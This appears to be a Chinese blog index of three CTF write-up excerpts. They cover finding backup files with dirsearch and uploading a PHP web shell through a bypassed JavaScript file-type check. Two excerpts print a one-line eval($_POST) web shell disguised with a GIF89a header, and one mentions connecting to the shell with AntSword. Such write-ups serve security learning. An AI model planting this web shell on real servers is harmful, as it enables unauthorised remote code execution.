摘要：
这个题我有两个思路。 1.绕过前端Js验证，phtml拓展名的应用 首先打开之后，写一个phtml文件 GIF89a <script language="php">eval($_POST['shell']);</script> 发现不允许上传phtml文件 猜想有js验证 F12查看 果然，将其删除 阅读全文
摘要：
打开之后啥信息都没有 题目的提示是backupFile备份文件 备份文件一般的后缀名为 .rar .zip .7z .tar.gz .bak .swp .txt .html .bak可以用dirsearch 扫 链接: dirsearch. 使用,试了很多备份文件，这里的备份文件是index.php 阅读全文
摘要：
发现让我们上传文件， 首先在桌面创建一个y.phtml的文件，内容为 GIF89a <script language="php">eval($_POST['shell']);</script> 然后我们将它上传，提交时使用bp截取，修改一下格式，再放行 我们使用蚁剑连接，猜测路径为upload 完整 阅读全文